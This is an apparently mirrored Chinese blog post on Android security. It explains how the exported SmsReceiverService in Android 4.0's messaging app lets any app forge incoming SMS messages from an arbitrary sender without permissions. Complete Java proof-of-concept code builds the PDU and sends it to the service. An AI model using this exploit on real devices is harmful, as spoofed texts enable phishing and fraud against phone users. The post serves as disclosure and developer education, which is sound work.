zoukankan      html  css  js  c++  java
  • android安全问题(八)伪造短信(利用原生android4.0漏洞)

    导读:本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。

     

    android4.0发布已经是很久很久很久很久以前的事情了,这个漏洞早就报了出来,之所以现在才写这篇文章,就是觉得,该升级的基本已经都升级了,该打补丁的基本都已经打了补丁,所以现在差不多是时候了。

     

    原生android4.0系统中,Mms.apk的manifest有这样一段

    <service android:name=".transaction.SmsReceiverService"
                     android:exported="true" />

    android:exported="true",意味着SmsReceiverService这个Service暴露给了大家,也让病毒有机可乘

     

    在stackoverflow上面,有人早就给出了伪造短信的方案,我们在这里就直接使用人家的代码好了

    http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp

    其中UCS-2处理是我新加上去的

    private static void createFakeSms(Context context, String sender,
            String body) {
        byte[] pdu = null;
        byte[] scBytes = PhoneNumberUtils
                .networkPortionToCalledPartyBCD("0000000000");
        byte[] senderBytes = PhoneNumberUtils
                .networkPortionToCalledPartyBCD(sender);
        int lsmcs = scBytes.length;
        // 时间处理,包括年月日时分秒以及时区和夏令时
        byte[] dateBytes = new byte[7];
        Calendar calendar = new GregorianCalendar();
        dateBytes[0] = SmsUtil
                .reverseByte((byte) (calendar.get(Calendar.YEAR)));
        dateBytes[1] = SmsUtil
                .reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
        dateBytes[2] = SmsUtil.reverseByte((byte) (calendar
                .get(Calendar.DAY_OF_MONTH)));
        dateBytes[3] = SmsUtil.reverseByte((byte) (calendar
                .get(Calendar.HOUR_OF_DAY)));
        dateBytes[4] = SmsUtil.reverseByte((byte) (calendar
                .get(Calendar.MINUTE)));
        dateBytes[5] = SmsUtil.reverseByte((byte) (calendar
                .get(Calendar.SECOND)));
        dateBytes[6] = SmsUtil
                .reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
                        .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
        try {
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            bo.write(lsmcs);// 短信服务中心长度
            bo.write(scBytes);// 短信服务中心号码
            bo.write(0x04);
            bo.write((byte) sender.length());// 发送方号码长度
            bo.write(senderBytes);// 发送方号码
            bo.write(0x00);// 协议标示,00为普通GSM,点对点方式
            try {
                String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
                Class<?> cReflectedNFCExtras = Class
                        .forName(sReflectedClassName);
                Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
                        "stringToGsm7BitPacked", new Class[] { String.class });
                stringToGsm7BitPacked.setAccessible(true);
                byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
                        body);
    
                bo.write(0x00); // encoding: 0 for default 7bit
                bo.write(dateBytes);
                bo.write(bodybytes);
            } catch (Exception e) {
                Log.i(TAG, "sender:" + sender + "
    body:" + body, e);
                // 下面是UCS-2编码的处理,中文短信就需要用此种方式
                bo.write(0x08); // encoding: 8 for UCS-2
                bo.write(dateBytes);
                bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的,并不是我写的
                // 源码具体位置在
                // frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
            }
    
            pdu = bo.toByteArray();
        } catch (IOException e) {
            Log.e(TAG, "sender:" + sender + "
    body:" + body, e);
        }
        // 上面的部分都是组织短信数据,下面是将数据传递给SmsReceiverService,让它来帮我们发送。虽然我们的程序没有发送短信的权限,但是人家有啊!
        Intent intent = new Intent();
        intent.setClassName("com.android.mms",
                "com.android.mms.transaction.SmsReceiverService");
        intent.setAction("android.provider.Telephony.SMS_RECEIVED");
        intent.putExtra("pdus", new Object[] { pdu });
        intent.putExtra("format", "3gpp");
        context.startService(intent);
    }
    
    public static byte reverseByte(byte b) {
        return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
    }

     

    我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式

    // User Data (and length)
    byte[] userData;
    try {
        if (encoding == ENCODING_7BIT) {
            userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header,
                    languageTable, languageShiftTable);
        } else { //assume UCS-2
            try {
                userData = encodeUCS2(message, header);
            } catch(UnsupportedEncodingException uex) {
                Log.e(LOG_TAG,
                        "Implausible UnsupportedEncodingException ",
                        uex);
                return null;
            }
        }
    } catch (EncodeException ex) {
        // Encoding to the 7-bit alphabet failed. Let's see if we can
        // send it as a UCS-2 encoded message
        try {
            userData = encodeUCS2(message, header);
            encoding = ENCODING_16BIT;
        } catch(UnsupportedEncodingException uex) {
            Log.e(LOG_TAG,
                    "Implausible UnsupportedEncodingException ",
                    uex);
            return null;
        }
    }

    先看是不是7-bit编码方式,如果不是,那么就假设是UCS-2编码,如果抛出EncodeException,那么也尝试UCS-2编码

     

    下面附上encodeUCS2代码

    /**
     * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if
     * necessary
     * 
     * @return
     * @throws UnsupportedEncodingException
     */
    public static byte[] encodeUCS2(String message, byte[] header)
            throws UnsupportedEncodingException {
        byte[] userData, textPart;
        textPart = message.getBytes("utf-16be");
    
        if (header != null) {
            // Need 1 byte for UDHL
            userData = new byte[header.length + textPart.length + 1];
    
            userData[0] = (byte) header.length;
            System.arraycopy(header, 0, userData, 1, header.length);
            System.arraycopy(textPart, 0, userData, header.length + 1,
                    textPart.length);
        } else {
            userData = textPart;
        }
        byte[] ret = new byte[userData.length + 1];
        ret[0] = (byte) (userData.length & 0xff);
        System.arraycopy(userData, 0, ret, 1, userData.length);
        return ret;
    }

     

    现在,我们就可以在原生android4.0上面干坏事了,如果你在真机上面发现上面的代码不起作用,那么很有可能人家已经修复了漏洞,所以你也别总想着干坏事。

    不过……HTC G14上面的漏洞还是存在的,起码前两个月是这个样子,没关系,我已经换了手机……

     

     

     

     

    另外值得一提是android:exported这个属性

    我们可以在android官方文档中看到如下说明

    http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech

    ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProviderreducing default attack surface for applications.

    这意味着什么呢?

    之前,你可以不用显式设置export这个属性,别人也可以调用你的ContentProvider,但是你的应用放到了Android4.2(API17)上面,那么别人再调用你的ContentProvider的时候就会抛出异常,进而导致应用崩溃

    这是时候,我们就必须在manifest文件中显式给export赋值为true

     

    之前就遇到了这样的问题,应用放在4.1上面没有问题,放到4.2上就crash,调查了半天,才发现原因在这里

    看来关键的属性还是显式声明的好,因为没准哪一天,它的默认值就变了

     

    下面是一些相关内容

    GSM 03.38 from Wikipedia

     

     

    请大家不要用root的手机随意下载软件,更不要以任何借口制造任何病毒!

     

     

    android手机root后的安全问题 (一)

    android手机root后的安全问题 (二)

    android手机root后的安全问题 (三)

    android手机root后的安全问题 (四)

     

     

    android安全问题(一) 静音拍照与被拍

    android安全问题(二) 程序锁

    android安全问题(三) 钓鱼程序

     

     

     

    转贴请保留以下链接

    本人blog地址

    http://su1216.iteye.com/

    http://blog.csdn.net/su1216/

  • 相关阅读:
    【交往智慧】005.做一个愿意聆听的人
    【生活智慧】005.信守诺言的约束
    人生时间表. 如果您有了时间
    爱情五十七课,还是两个人
    【生活智慧】008.不要把自己的不顺归结于外在因素
    【交往智慧】006.勇于接受别人的意见
    【交往智慧】001.交际本领可使你利用外界的无限能量
    【交往智慧】007.给人改过的机会
    【生活智慧】004.把手放在《圣经》上
    【交往智慧】003.要能与人和谐相处
  • 原文地址:https://www.cnblogs.com/javawebsoa/p/3235261.html
Copyright © 2011-2022 走看看